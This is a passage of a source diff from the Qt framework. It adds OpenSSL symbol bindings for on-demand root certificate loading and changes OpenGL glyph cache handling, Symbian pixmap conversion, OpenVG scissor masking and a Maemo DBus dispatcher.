--- a/src/network/ssl/qsslsocket_openssl_symbols.cpp
+++ b/src/network/ssl/qsslsocket_openssl_symbols.cpp
@@ -208,6 +208,9 @@ DEFINEFUNC(long, SSL_get_verify_result, SSL *a, a, return -1, return)
 DEFINEFUNC(int, SSL_library_init, void, DUMMYARG, return -1, return)
 DEFINEFUNC(void, SSL_load_error_strings, void, DUMMYARG, return, DUMMYARG)
 DEFINEFUNC(SSL *, SSL_new, SSL_CTX *a, a, return 0, return)
+#if OPENSSL_VERSION_NUMBER >= 0x0090806fL && !defined(OPENSSL_NO_TLSEXT)
+DEFINEFUNC4(long, SSL_ctrl, SSL *a, a, int cmd, cmd, long larg, larg, const void *parg, parg, return -1, return)
+#endif
 DEFINEFUNC3(int, SSL_read, SSL *a, a, void *b, b, int c, c, return -1, return)
 DEFINEFUNC3(void, SSL_set_bio, SSL *a, a, BIO *b, b, BIO *c, c, return, DUMMYARG)
 DEFINEFUNC(void, SSL_set_accept_state, SSL *a, a, return, DUMMYARG)
@@ -262,6 +265,8 @@ DEFINEFUNC3(DSA *, d2i_DSAPrivateKey, DSA **a, a, unsigned char **b, b, long c,
 #endif
 DEFINEFUNC(void, OPENSSL_add_all_algorithms_noconf, void, DUMMYARG, return, DUMMYARG)
 DEFINEFUNC(void, OPENSSL_add_all_algorithms_conf, void, DUMMYARG, return, DUMMYARG)
+DEFINEFUNC3(int, SSL_CTX_load_verify_locations, SSL_CTX *ctx, ctx, const char *CAfile, CAfile, const char *CApath, CApath, return 0, return)
+DEFINEFUNC(long, SSLeay, void, DUMMYARG, return 0, return)
 
 #ifdef Q_OS_SYMBIAN
 #define RESOLVEFUNC(func, ordinal, lib) \
@@ -585,6 +590,9 @@ bool q_resolveOpenSslSymbols()
     RESOLVEFUNC(SSL_library_init, 137, libs.first )
     RESOLVEFUNC(SSL_load_error_strings, 139, libs.first )
     RESOLVEFUNC(SSL_new, 140, libs.first )
+#if OPENSSL_VERSION_NUMBER >= 0x0090806fL && !defined(OPENSSL_NO_TLSEXT)
+    RESOLVEFUNC(SSL_ctrl, 95, libs.first )
+#endif
     RESOLVEFUNC(SSL_read, 143, libs.first )
     RESOLVEFUNC(SSL_set_accept_state, 148, libs.first )
     RESOLVEFUNC(SSL_set_bio, 149, libs.first )
@@ -599,6 +607,7 @@ bool q_resolveOpenSslSymbols()
     RESOLVEFUNC(SSLv3_server_method, 197, libs.first )
     RESOLVEFUNC(SSLv23_server_method, 191, libs.first )
     RESOLVEFUNC(TLSv1_server_method, 200, libs.first )
+    RESOLVEFUNC(SSL_CTX_load_verify_locations, 34, libs.first )
     RESOLVEFUNC(X509_NAME_oneline, 1830, libs.second )
     RESOLVEFUNC(X509_PUBKEY_get, 1844, libs.second )
     RESOLVEFUNC(X509_STORE_free, 1939, libs.second )
@@ -630,6 +639,7 @@ bool q_resolveOpenSslSymbols()
 #endif
     RESOLVEFUNC(OPENSSL_add_all_algorithms_noconf, 1153, libs.second )
     RESOLVEFUNC(OPENSSL_add_all_algorithms_conf, 1152, libs.second )
+    RESOLVEFUNC(SSLeay, 1504, libs.second )
 #else // Q_OS_SYMBIAN
 #ifdef SSLEAY_MACROS
     RESOLVEFUNC(ASN1_dup)
@@ -709,6 +719,9 @@ bool q_resolveOpenSslSymbols()
     RESOLVEFUNC(SSL_library_init)
     RESOLVEFUNC(SSL_load_error_strings)
     RESOLVEFUNC(SSL_new)
+#if OPENSSL_VERSION_NUMBER >= 0x0090806fL && !defined(OPENSSL_NO_TLSEXT)
+    RESOLVEFUNC(SSL_ctrl)
+#endif
     RESOLVEFUNC(SSL_read)
     RESOLVEFUNC(SSL_set_accept_state)
     RESOLVEFUNC(SSL_set_bio)
@@ -754,6 +767,8 @@ bool q_resolveOpenSslSymbols()
 #endif
     RESOLVEFUNC(OPENSSL_add_all_algorithms_noconf)
     RESOLVEFUNC(OPENSSL_add_all_algorithms_conf)
+    RESOLVEFUNC(SSL_CTX_load_verify_locations)
+    RESOLVEFUNC(SSLeay)
 #endif // Q_OS_SYMBIAN
     symbolsResolved = true;
     delete libs.first;
diff --git a/src/network/ssl/qsslsocket_openssl_symbols_p.h b/src/network/ssl/qsslsocket_openssl_symbols_p.h
index 954ffba..49830ac 100644
--- a/src/network/ssl/qsslsocket_openssl_symbols_p.h
+++ b/src/network/ssl/qsslsocket_openssl_symbols_p.h
@@ -316,6 +316,9 @@ long q_SSL_get_verify_result(SSL *a);
 int q_SSL_library_init();
 void q_SSL_load_error_strings();
 SSL *q_SSL_new(SSL_CTX *a);
+#if OPENSSL_VERSION_NUMBER >= 0x0090806fL && !defined(OPENSSL_NO_TLSEXT)
+long q_SSL_ctrl(SSL *ssl,int cmd, long larg, const void *parg);
+#endif
 int q_SSL_read(SSL *a, void *b, int c);
 void q_SSL_set_bio(SSL *a, BIO *b, BIO *c);
 void q_SSL_set_accept_state(SSL *a);
@@ -412,6 +415,8 @@ DSA *q_d2i_DSAPrivateKey(DSA **a, unsigned char **pp, long length);
 #endif
 void q_OPENSSL_add_all_algorithms_noconf();
 void q_OPENSSL_add_all_algorithms_conf();
+int q_SSL_CTX_load_verify_locations(SSL_CTX *ctx, const char *CAfile, const char *CApath);
+long q_SSLeay();
 
 // Helper function
 class QDateTime;
diff --git a/src/network/ssl/qsslsocket_p.h b/src/network/ssl/qsslsocket_p.h
index 3a14488..7b92f95 100644
--- a/src/network/ssl/qsslsocket_p.h
+++ b/src/network/ssl/qsslsocket_p.h
@@ -112,6 +112,8 @@ public:
     // that was used for connecting to.
     QString verificationPeerName;
 
+    bool allowRootCertOnDemandLoading;
+
     static bool supportsSsl();
     static void ensureInitialized();
     static void deinitialize();
@@ -168,6 +170,9 @@ private:
 
     static bool s_libraryLoaded;
     static bool s_loadedCiphersAndCerts;
+protected:
+    static bool s_loadRootCertsOnDemand;
+    static QList<QByteArray> unixRootCertDirectories();
 };
 
 QT_END_NAMESPACE
diff --git a/src/opengl/gl2paintengineex/qpaintengineex_opengl2.cpp b/src/opengl/gl2paintengineex/qpaintengineex_opengl2.cpp
index 2e21fbd..bbb75bc 100644
--- a/src/opengl/gl2paintengineex/qpaintengineex_opengl2.cpp
+++ b/src/opengl/gl2paintengineex/qpaintengineex_opengl2.cpp
@@ -1503,7 +1503,7 @@ namespace {
     {
     public:
         QOpenGLStaticTextUserData()
-            : QStaticTextUserData(OpenGLUserData), cacheSize(0, 0)
+            : QStaticTextUserData(OpenGLUserData), cacheSize(0, 0), cacheSerialNumber(0)
         {
         }
 
@@ -1515,6 +1515,7 @@ namespace {
         QGL2PEXVertexArray vertexCoordinateArray;
         QGL2PEXVertexArray textureCoordinateArray;
         QFontEngineGlyphCache::Type glyphType;
+        int cacheSerialNumber;
     };
 
 }
@@ -1538,8 +1539,6 @@ void QGL2PaintEngineExPrivate::drawCachedGlyphs(QFontEngineGlyphCache::Type glyp
         staticTextItem->fontEngine()->setGlyphCache(cacheKey, cache);
         cache->insert(ctx, cache);
         recreateVertexArrays = true;
-    } else if (cache->context() == 0) { // Old context has been destroyed, new context has same ptr value
-        cache->setContext(ctx);
     }
 
     if (staticTextItem->userDataNeedsUpdate) {
@@ -1550,8 +1549,11 @@ void QGL2PaintEngineExPrivate::drawCachedGlyphs(QFontEngineGlyphCache::Type glyp
         recreateVertexArrays = true;
     } else {
         QOpenGLStaticTextUserData *userData = static_cast<QOpenGLStaticTextUserData *>(staticTextItem->userData());
-        if (userData->glyphType != glyphType)
+        if (userData->glyphType != glyphType) {
             recreateVertexArrays = true;
+        } else if (userData->cacheSerialNumber != cache->serialNumber()) {
+            recreateVertexArrays = true;
+        }
     }
 
     // We only need to update the cache with new glyphs if we are actually going to recreate the vertex arrays.
@@ -1592,6 +1594,7 @@ void QGL2PaintEngineExPrivate::drawCachedGlyphs(QFontEngineGlyphCache::Type glyp
         }
 
         userData->glyphType = glyphType;
+        userData->cacheSerialNumber = cache->serialNumber();
 
         // Use cache if backend optimizations is turned on
         vertexCoordinates = &userData->vertexCoordinateArray;
diff --git a/src/opengl/gl2paintengineex/qtextureglyphcache_gl.cpp b/src/opengl/gl2paintengineex/qtextureglyphcache_gl.cpp
index eb38947..4362c0a 100644
--- a/src/opengl/gl2paintengineex/qtextureglyphcache_gl.cpp
+++ b/src/opengl/gl2paintengineex/qtextureglyphcache_gl.cpp
@@ -53,12 +53,15 @@ QT_BEGIN_NAMESPACE
 extern Q_GUI_EXPORT bool qt_cleartype_enabled;
 #endif
 
+QBasicAtomicInt qgltextureglyphcache_serial_number = Q_BASIC_ATOMIC_INITIALIZER(1);
+
 QGLTextureGlyphCache::QGLTextureGlyphCache(const QGLContext *context, QFontEngineGlyphCache::Type type, const QTransform &matrix)
     : QImageTextureGlyphCache(type, matrix), QGLContextGroupResourceBase()
     , ctx(0)
     , pex(0)
     , m_blitProgram(0)
     , m_filterMode(Nearest)
+    , m_serialNumber(qgltextureglyphcache_serial_number.fetchAndAddRelaxed(1))
 {
 #ifdef QT_GL_TEXTURE_GLYPH_CACHE_DEBUG
     qDebug(" -> QGLTextureGlyphCache() %p for context %p.", this, ctx);
diff --git a/src/opengl/gl2paintengineex/qtextureglyphcache_gl_p.h b/src/opengl/gl2paintengineex/qtextureglyphcache_gl_p.h
index c5c8985..cc6de28 100644
--- a/src/opengl/gl2paintengineex/qtextureglyphcache_gl_p.h
+++ b/src/opengl/gl2paintengineex/qtextureglyphcache_gl_p.h
@@ -133,6 +133,8 @@ public:
     void setContext(const QGLContext *context);
     inline const QGLContext *context() const { return ctx; }
 
+    inline int serialNumber() const { return m_serialNumber; }
+
     enum FilterMode {
         Nearest,
         Linear
@@ -152,6 +154,8 @@ private:
 
     GLfloat m_vertexCoordinateArray[8];
     GLfloat m_textureCoordinateArray[8];
+
+    int m_serialNumber;
 };
 
 QT_END_NAMESPACE
diff --git a/src/opengl/opengl.pro b/src/opengl/opengl.pro
index 8b587cf..08ae774 100644
--- a/src/opengl/opengl.pro
+++ b/src/opengl/opengl.pro
@@ -163,6 +163,13 @@ symbian {
 
     HEADERS += qgl_egl_p.h
 
+    contains(QT_CONFIG, freetype) {
+        DEFINES += QT_NO_FONTCONFIG
+        INCLUDEPATH += \
+            ../3rdparty/freetype/src \
+            ../3rdparty/freetype/include
+    }
+
     symbian:TARGET.UID3 = 0x2002131A
 }
 
diff --git a/src/opengl/qgl_symbian.cpp b/src/opengl/qgl_symbian.cpp
index 82b66f5..a9e2248 100644
--- a/src/opengl/qgl_symbian.cpp
+++ b/src/opengl/qgl_symbian.cpp
@@ -44,12 +44,14 @@
 #include <coemain.h>
 #include <coecntrl.h>
 #include <w32std.h>
+#include <private/qt_s60_p.h>
 #include <private/qpixmap_s60_p.h>
 #include <private/qimagepixmapcleanuphooks_p.h>
 #include <private/qgl_p.h>
 #include <private/qpaintengine_opengl_p.h>
 #include <private/qwidget_p.h> // to access QWExtra
 #include "qgl_egl_p.h"
+#include "qpixmapdata_gl_p.h"
 #include "qcolormap.h"
 #include <QDebug>
 
@@ -358,5 +360,117 @@ void QGLWidgetPrivate::recreateEglSurface()
     eglSurfaceWindowId = currentId;
 }
 
+/*
+ * Symbian specific QGLPixmapData functions
+ */
+
+static CFbsBitmap* createBlitCopy(CFbsBitmap* bitmap)
+{
+    CFbsBitmap *copy = q_check_ptr(new CFbsBitmap);
+    if (!copy)
+        return 0;
+
+    if (copy->Create(bitmap->SizeInPixels(), bitmap->DisplayMode()) != KErrNone) {
+        delete copy;
+        copy = 0;
+
+        return 0;
+    }
+
+    CFbsBitmapDevice* bitmapDevice = 0;
+    CFbsBitGc *bitmapGc = 0;
+    QT_TRAP_THROWING(bitmapDevice = CFbsBitmapDevice::NewL(copy));
+    QT_TRAP_THROWING(bitmapGc = CFbsBitGc::NewL());
+    bitmapGc->Activate(bitmapDevice);
+
+    bitmapGc->BitBlt(TPoint(), bitmap);
+
+    delete bitmapGc;
+    delete bitmapDevice;
+
+    return copy;
+}
+
+void QGLPixmapData::fromNativeType(void* pixmap, NativeType type)
+{
+    if (type == QPixmapData::FbsBitmap) {
+        CFbsBitmap *bitmap = reinterpret_cast<CFbsBitmap*>(pixmap);
+
+        bool deleteSourceBitmap = false;
+#ifdef Q_SYMBIAN_HAS_EXTENDED_BITMAP_TYPE
+
+        // Rasterize extended bitmaps
+
+        TUid extendedBitmapType = bitmap->ExtendedBitmapType();
+        if (extendedBitmapType != KNullUid) {
+            bitmap = createBlitCopy(bitmap);
+            deleteSourceBitmap = true;
+        }
+#endif
+
+        if (bitmap->IsCompressedInRAM()) {
+            bitmap = createBlitCopy(bitmap);
+            deleteSourceBitmap = true;
+        }
+
+        TDisplayMode displayMode = bitmap->DisplayMode();
+        QImage::Format format = qt_TDisplayMode2Format(displayMode);
+
+        TSize size = bitmap->SizeInPixels();
+        int bytesPerLine = bitmap->ScanLineLength(size.iWidth, displayMode);
+
+        bitmap->BeginDataAccess();
+        uchar *bytes = (uchar*)bitmap->DataAddress();
+        QImage img = QImage(bytes, size.iWidth, size.iHeight, bytesPerLine, format);
+        img = img.copy();
+        bitmap->EndDataAccess();
+
+        if (displayMode == EGray2) {
+            //Symbian thinks set pixels are white/transparent, Qt thinks they are foreground/solid
+            //So invert mono bitmaps so that masks work correctly.
+            img.invertPixels();
+        } else if (displayMode == EColor16M) {
+            img = img.rgbSwapped(); // EColor16M is BGR
+        }
+
+        fromImage(img, Qt::AutoColor);
+
+        if (deleteSourceBitmap)
+            delete bitmap;
+    }
+}
+
+void* QGLPixmapData::toNativeType(NativeType type)
+{
+    if (type == QPixmapData::FbsBitmap) {
+        CFbsBitmap *bitmap = q_check_ptr(new CFbsBitmap);
+
+        if (bitmap) {
+            QImage image = toImage();
+
+            TDisplayMode displayMode(EColor16MU);
+            if (image.format()==QImage::Format_ARGB32_Premultiplied)
+                displayMode = EColor16MAP;
+
+            if (bitmap->Create(TSize(image.width(), image.height()),
+                              displayMode) == KErrNone) {
+                const uchar *sptr = const_cast<const QImage&>(image).bits();
+                bitmap->BeginDataAccess();
+
+                uchar *dptr = (uchar*)bitmap->DataAddress();
+                Mem::Copy(dptr, sptr, image.byteCount());
+
+                bitmap->EndDataAccess();
+            } else {
+                delete bitmap;
+                bitmap = 0;
+            }
+        }
+
+        return reinterpret_cast<void*>(bitmap);
+    }
+    return 0;
+}
+
 QT_END_NAMESPACE
 
diff --git a/src/opengl/qglshaderprogram.cpp b/src/opengl/qglshaderprogram.cpp
index 7f41339..4598bff 100644
--- a/src/opengl/qglshaderprogram.cpp
+++ b/src/opengl/qglshaderprogram.cpp
@@ -261,14 +261,14 @@ bool QGLShaderPrivate::compile(QGLShader *q)
         log = QString::fromLatin1(logbuf);
         QString name = q->objectName();
 
-        char *types[] = {
+        const char *types[] = {
             "Fragment",
             "Vertex",
             "Geometry",
             ""
         };
 
-        char *type = types[3];
+        const char *type = types[3];
         if (shaderType == QGLShader::Fragment)
             type = types[0];
         else if (shaderType == QGLShader::Vertex)
diff --git a/src/opengl/qpixmapdata_gl.cpp b/src/opengl/qpixmapdata_gl.cpp
index d12704d..04de1bd 100644
--- a/src/opengl/qpixmapdata_gl.cpp
+++ b/src/opengl/qpixmapdata_gl.cpp
@@ -55,6 +55,7 @@
 #include <qdesktopwidget.h>
 #include <qfile.h>
 #include <qimagereader.h>
+#include <qbuffer.h>
 
 QT_BEGIN_NAMESPACE
 
@@ -369,40 +370,18 @@ void QGLPixmapData::ensureCreated() const
 void QGLPixmapData::fromImage(const QImage &image,
                               Qt::ImageConversionFlags flags)
 {
-    if (image.size() == QSize(w, h))
-        setSerialNumber(++qt_gl_pixmap_serial);
-    resize(image.width(), image.height());
-
-    if (pixelType() == BitmapType) {
-        m_source = image.convertToFormat(QImage::Format_MonoLSB);
-
-    } else {
-        QImage::Format format = QImage::Format_RGB32;
-        if (qApp->desktop()->depth() == 16)
-            format = QImage::Format_RGB16;
-
-        if (image.hasAlphaChannel()
-            && ((flags & Qt::NoOpaqueDetection)
-                || const_cast<QImage &>(image).data_ptr()->checkForAlphaPixels()))
-            format = QImage::Format_ARGB32_Premultiplied;;
-
-        m_source = image.convertToFormat(format);
-    }
-
-    m_dirty = true;
-    m_hasFillColor = false;
+    QImage img = image;
+    createPixmapForImage(img, flags, false);
+}
 
-    m_hasAlpha = m_source.hasAlphaChannel();
-    w = image.width();
-    h = image.height();
-    is_null = (w <= 0 || h <= 0);
-    d = m_source.depth();
+void QGLPixmapData::fromImageReader(QImageReader *imageReader,
+                                 Qt::ImageConversionFlags flags)
+{
+    QImage image = imageReader->read();
+    if (image.isNull())
+        return;
 
-    if (m_texture.id) {
-        QGLShareContextScope ctx(qt_gl_share_context());
-        glDeleteTextures(1, &m_texture.id);
-        m_texture.id = 0;
-    }
+    createPixmapForImage(image, flags, true);
 }
 
 bool QGLPixmapData::fromFile(const QString &filename, const char *format,
@@ -411,31 +390,37 @@ bool QGLPixmapData::fromFile(const QString &filename, const char *format,
     if (pixelType() == QPixmapData::BitmapType)
         return QPixmapData::fromFile(filename, format, flags);
     QFile file(filename);
-    if (!file.open(QIODevice::ReadOnly))
-        return false;
-    QByteArray data = file.peek(64);
-    bool alpha;
-    if (m_texture.canBindCompressedTexture
-            (data.constData(), data.size(), format, &alpha)) {
-        resize(0, 0);
-        data = file.readAll();
-        file.close();
-        QGLShareContextScope ctx(qt_gl_share_context());
-        QSize size = m_texture.bindCompressedTexture
-            (data.constData(), data.size(), format);
-        if (!size.isEmpty()) {
-            w = size.width();
-            h = size.height();
-            is_null = false;
-            d = 32;
-            m_hasAlpha = alpha;
-            m_source = QImage();
-            m_dirty = isValid();
-            return true;
+    if (file.open(QIODevice::ReadOnly)) {
+        QByteArray data = file.peek(64);
+        bool alpha;
+        if (m_texture.canBindCompressedTexture
+                (data.constData(), data.size(), format, &alpha)) {
+            resize(0, 0);
+            data = file.readAll();
+            file.close();
+            QGLShareContextScope ctx(qt_gl_share_context());
+            QSize size = m_texture.bindCompressedTexture
+                (data.constData(), data.size(), format);
+            if (!size.isEmpty()) {
+                w = size.width();
+                h = size.height();
+                is_null = false;
+                d = 32;
+                m_hasAlpha = alpha;
+                m_source = QImage();
+                m_dirty = isValid();
+                return true;
+            }
+            return false;
         }
-        return false;
     }
-    fromImage(QImageReader(&file, format).read(), flags);
+
+    QImage image = QImageReader(filename, format).read();
+    if (image.isNull())
+        return false;
+
+    createPixmapForImage(image, flags, true);
+
     return !isNull();
 }
 
@@ -459,7 +444,67 @@ bool QGLPixmapData::fromData(const uchar *buffer, uint len, const char *format,
             return true;
         }
     }
-    return QPixmapData::fromData(buffer, len, format, flags);
+
+    QByteArray a = QByteArray::fromRawData(reinterpret_cast<const char *>(buffer), len);
+    QBuffer b(&a);
+    b.open(QIODevice::ReadOnly);
+    QImage image = QImageReader(&b, format).read();
+    if (image.isNull())
+        return false;
+
+    createPixmapForImage(image, flags, true);
+
+    return !isNull();
+}
+
+/*!
+    out-of-place conversion (inPlace == false) will always detach()
+ */
+void QGLPixmapData::createPixmapForImage(QImage &image, Qt::ImageConversionFlags flags, bool inPlace)
+{
+    if (image.size() == QSize(w, h))
+        setSerialNumber(++qt_gl_pixmap_serial);
+
+    resize(image.width(), image.height());
+
+    if (pixelType() == BitmapType) {
+        m_source = image.convertToFormat(QImage::Format_MonoLSB);
+
+    } else {
+        QImage::Format format = QImage::Format_RGB32;
+        if (qApp->desktop()->depth() == 16)
+            format = QImage::Format_RGB16;
+
+        if (image.hasAlphaChannel()
+            && ((flags & Qt::NoOpaqueDetection)
+                || const_cast<QImage &>(image).data_ptr()->checkForAlphaPixels()))
+            format = QImage::Format_ARGB32_Premultiplied;;
+
+        if (inPlace && image.data_ptr()->convertInPlace(format, flags)) {
+            m_source = image;
+        } else {
+            m_source = image.convertToFormat(format);
+
+            // convertToFormat won't detach the image if format stays the same.
+            if (image.format() == format)
+                m_source.detach();
+        }
+    }
+
+    m_dirty = true;
+    m_hasFillColor = false;
+
+    m_hasAlpha = m_source.hasAlphaChannel();
+    w = image.width();
+    h = image.height();
+    is_null = (w <= 0 || h <= 0);
+    d = m_source.depth();
+
+    if (m_texture.id) {
+        QGLShareContextScope ctx(qt_gl_share_context());
+        glDeleteTextures(1, &m_texture.id);
+        m_texture.id = 0;
+    }
 }
 
 bool QGLPixmapData::scroll(int dx, int dy, const QRect &rect)
@@ -586,6 +631,12 @@ QImage QGLPixmapData::toImage() const
     if (m_renderFbo) {
         copyBackFromRenderFbo(true);
     } else if (!m_source.isNull()) {
+        QImageData *data = const_cast<QImage &>(m_source).data_ptr();
+        if (data->paintEngine && data->paintEngine->isActive()
+            && data->paintEngine->paintDevice() == &m_source)
+        {
+            return m_source.copy();
+        }
         return m_source;
     } else if (m_dirty || m_hasFillColor) {
         return fillImage(m_fillColor);
diff --git a/src/opengl/qpixmapdata_gl_p.h b/src/opengl/qpixmapdata_gl_p.h
index 5545d3c..a4066fd 100644
--- a/src/opengl/qpixmapdata_gl_p.h
+++ b/src/opengl/qpixmapdata_gl_p.h
@@ -107,6 +107,8 @@ public:
     // Re-implemented from QPixmapData:
     void resize(int width, int height);
     void fromImage(const QImage &image, Qt::ImageConversionFlags flags);
+    void fromImageReader(QImageReader *imageReader,
+                          Qt::ImageConversionFlags flags);
     bool fromFile(const QString &filename, const char *format,
                   Qt::ImageConversionFlags flags);
     bool fromData(const uchar *buffer, uint len, const char *format,
@@ -127,6 +129,11 @@ public:
     GLuint bind(bool copyBack = true) const;
     QGLTexture *texture() const;
 
+#if defined(Q_OS_SYMBIAN)
+    void* toNativeType(NativeType type);
+    void fromNativeType(void* pixmap, NativeType type);
+#endif
+
 private:
     bool isValid() const;
 
@@ -149,6 +156,8 @@ private:
 
     QImage fillImage(const QColor &color) const;
 
+    void createPixmapForImage(QImage &image, Qt::ImageConversionFlags flags, bool inPlace);
+
     mutable QGLFramebufferObject *m_renderFbo;
     mutable QPaintEngine *m_engine;
     mutable QGLContext *m_ctx;
diff --git a/src/opengl/qwindowsurface_gl.cpp b/src/opengl/qwindowsurface_gl.cpp
index 5a783ca..cdd3eb9 100644
--- a/src/opengl/qwindowsurface_gl.cpp
+++ b/src/opengl/qwindowsurface_gl.cpp
@@ -363,7 +363,6 @@ QGLWindowSurface::~QGLWindowSurface()
         *ctx = 0;
     }
 #endif
-
     delete d_ptr->pb;
     delete d_ptr->fbo;
     delete d_ptr;
@@ -812,20 +811,25 @@ void QGLWindowSurface::updateGeometry() {
         return;
     d_ptr->geometry_updated = false;
 
-#ifdef Q_WS_QPA
-    QSize surfSize = size();
-#else
-    QSize surfSize = geometry().size();
-#endif
+    bool hijack(true);
+    QWidgetPrivate *wd = window()->d_func();
+    if (wd->extraData() && wd->extraData()->glContext)
+        hijack = false; // we already have gl context for widget
 
-    hijackWindow(window());
-    QGLContext *ctx = reinterpret_cast<QGLContext *>(window()->d_func()->extraData()->glContext);
+    if (hijack)
+        hijackWindow(window());
+
+    QGLContext *ctx = reinterpret_cast<QGLContext *>(wd->extraData()->glContext);
 
 #ifdef Q_WS_MAC
     ctx->updatePaintDevice();
 #endif
 
-    const GLenum target = GL_TEXTURE_2D;
+#ifdef Q_WS_QPA
+    QSize surfSize = size();
+#else
+    QSize surfSize = geometry().size();
+#endif
 
     if (surfSize.width() <= 0 || surfSize.height() <= 0)
         return;
@@ -835,6 +839,27 @@ void QGLWindowSurface::updateGeometry() {
 
     d_ptr->size = surfSize;
 
+#ifdef Q_OS_SYMBIAN
+    if (!hijack) { // Symbian needs to recreate EGL surface when native window size changes
+        if (ctx->d_func()->eglSurface != EGL_NO_SURFACE) {
+            eglDestroySurface(ctx->d_func()->eglContext->display(),
+                                                    ctx->d_func()->eglSurface);
+        }
+
+        ctx->d_func()->eglSurface = QEgl::createSurface(ctx->device(),
+                                           ctx->d_func()->eglContext->config());
+
+#if !defined(QGL_NO_PRESERVED_SWAP)
+        eglGetError();  // Clear error state first.
+        eglSurfaceAttrib(QEgl::display(), ctx->d_func()->eglSurface,
+                                    EGL_SWAP_BEHAVIOR, EGL_BUFFER_PRESERVED);
+        if (eglGetError() != EGL_SUCCESS) {
+            qWarning("QGLWindowSurface: could not restore preserved swap behaviour");
+        }
+#endif
+    }
+#endif
+
     if (d_ptr->ctx) {
 #ifndef QT_OPENGL_ES_2
         if (d_ptr->destructive_swap_buffers)
@@ -843,6 +868,7 @@ void QGLWindowSurface::updateGeometry() {
         return;
     }
 
+    const GLenum target = GL_TEXTURE_2D;
     if (d_ptr->destructive_swap_buffers
         && (QGLExtensions::glExtensions() & QGLExtensions::FramebufferObject)
         && (d_ptr->fbo || !d_ptr->tried_fbo)
diff --git a/src/openvg/openvg.pro b/src/openvg/openvg.pro
index e7ed890..e185949 100644
--- a/src/openvg/openvg.pro
+++ b/src/openvg/openvg.pro
@@ -38,6 +38,13 @@ symbian {
     DEFINES += QVG_RECREATE_ON_SIZE_CHANGE QVG_BUFFER_SCROLLING QVG_SCISSOR_CLIP
     SOURCES += \
         qvg_symbian.cpp
+
+    contains(QT_CONFIG, freetype) {
+        DEFINES += QT_NO_FONTCONFIG
+        INCLUDEPATH += \
+            ../3rdparty/freetype/src \
+            ../3rdparty/freetype/include
+    }
 }
 
 include(../qbase.pri)
diff --git a/src/openvg/qpaintengine_vg.cpp b/src/openvg/qpaintengine_vg.cpp
index a15f0c3..22cbbf5 100644
--- a/src/openvg/qpaintengine_vg.cpp
+++ b/src/openvg/qpaintengine_vg.cpp
@@ -2201,6 +2201,12 @@ void QVGPaintEngine::updateScissor()
 #if defined(QVG_SCISSOR_CLIP)
     // Using the scissor to do clipping, so combine the systemClip
     // with the current painting clipRegion.
+
+    if (d->maskValid) {
+        vgSeti(VG_MASKING, VG_FALSE);
+        d->maskValid = false;
+    }
+
     QVGPainterState *s = state();
     if (s->clipEnabled) {
         if (region.isEmpty())
@@ -2250,8 +2256,33 @@ void QVGPaintEngine::updateScissor()
 
     QVector<QRect> rects = region.rects();
     int count = rects.count();
-    if (count > d->maxScissorRects)
-        count = d->maxScissorRects;
+    if (count > d->maxScissorRects) {
+#if !defined(QVG_SCISSOR_CLIP)
+         count = d->maxScissorRects;
+#else
+        // Use masking
+        int width = paintDevice()->width();
+        int height = paintDevice()->height();
+        vgMask(VG_INVALID_HANDLE, VG_CLEAR_MASK,
+                   0, 0, width, height);
+        for (int i = 0; i < rects.size(); ++i) {
+            vgMask(VG_INVALID_HANDLE, VG_FILL_MASK,
+                   rects[i].x(), height - rects[i].y() - rects[i].height(),
+                   rects[i].width(), rects[i].height());
+        }
+
+        vgSeti(VG_SCISSORING, VG_FALSE);
+        vgSeti(VG_MASKING, VG_TRUE);
+        d->maskValid = true;
+        d->maskIsSet = false;
+        d->scissorMask = false;
+        d->scissorActive = false;
+        d->scissorDirty = false;
+        d->scissorRegion = region;
+        return;
+#endif
+    }
+
     QVarLengthArray<VGint> params(count * 4);
     int height = paintDevice()->height();
     for (int i = 0; i < count; ++i) {
diff --git a/src/openvg/qvg_symbian.cpp b/src/openvg/qvg_symbian.cpp
index b813800..ff0ab13 100644
--- a/src/openvg/qvg_symbian.cpp
+++ b/src/openvg/qvg_symbian.cpp
@@ -148,7 +148,7 @@ void QVGPixmapData::fromNativeType(void* pixmap, NativeType type)
         destroyImages();
         prevSize = QSize();
 
-        VGImage vgImage = sgImageToVGImage(context, *sgImage);
+        vgImage = sgImageToVGImage(context, *sgImage);
         if (vgImage != VG_INVALID_HANDLE) {
             w = vgGetParameteri(vgImage, VG_IMAGE_WIDTH);
             h = vgGetParameteri(vgImage, VG_IMAGE_HEIGHT);
diff --git a/src/openvg/qwindowsurface_vgegl.cpp b/src/openvg/qwindowsurface_vgegl.cpp
index c6db869..ca80886 100644
--- a/src/openvg/qwindowsurface_vgegl.cpp
+++ b/src/openvg/qwindowsurface_vgegl.cpp
@@ -267,10 +267,7 @@ static QEglContext *createContext(QPaintDevice *device)
     int redSize = configProps.value(EGL_RED_SIZE);
     if (redSize == EGL_DONT_CARE || redSize == 0)
         configProps.setPixelFormat(QImage::Format_ARGB32);  // XXX
-#ifndef QVG_SCISSOR_CLIP
-    // If we are using the mask to clip, then explicitly request a mask.
     configProps.setValue(EGL_ALPHA_MASK_SIZE, 1);
-#endif
 #ifdef EGL_VG_ALPHA_FORMAT_PRE_BIT
     configProps.setValue(EGL_SURFACE_TYPE, EGL_WINDOW_BIT |
                          EGL_VG_ALPHA_FORMAT_PRE_BIT);
diff --git a/src/plugins/bearer/icd/dbusdispatcher.cpp b/src/plugins/bearer/icd/dbusdispatcher.cpp
index 5fc2a38..13cd8a9 100644
--- a/src/plugins/bearer/icd/dbusdispatcher.cpp
+++ b/src/plugins/bearer/icd/dbusdispatcher.cpp
@@ -51,10 +51,10 @@
 namespace Maemo {
 
 /*!
-    \class DBusDispatcher
+    \class Maemo::DBusDispatcher
 
-    \brief DBusDispatcher is a class, which is able to send DBUS method call
-    messages and receive unicast signals from DBUS object.
+    \brief DBusDispatcher is a class that can send DBUS method call
+    messages and receive unicast signals from DBUS objects.
 */
 
 class DBusDispatcherPrivate
@@ -468,7 +468,7 @@ void DBusDispatcher::setupDBus()
         d_ptr->signal_vtable.message_function = signalHandler;
 
 	dbus_connection_set_exit_on_disconnect(d_ptr->connection, FALSE);
-        dbus_connection_setup_with_g_main(d_ptr->connection, NULL);
+        dbus_connection_setup_with_g_main(d_ptr->connection, g_main_context_get_thread_default());
         dbus_connection_register_object_path(d_ptr->connection, 
                                              d_ptr->signalPath.toLatin1(),
                                              &d_ptr->signal_vtable,
diff --git a/src/plugins/bearer/icd/qnetworksession_impl.cpp b/src/plugins/bearer/icd/qnetworksession_impl.cpp
index 6d578d3..af5d85e 100644
--- a/src/plugins/bearer/icd/qnetworksession_impl.cpp
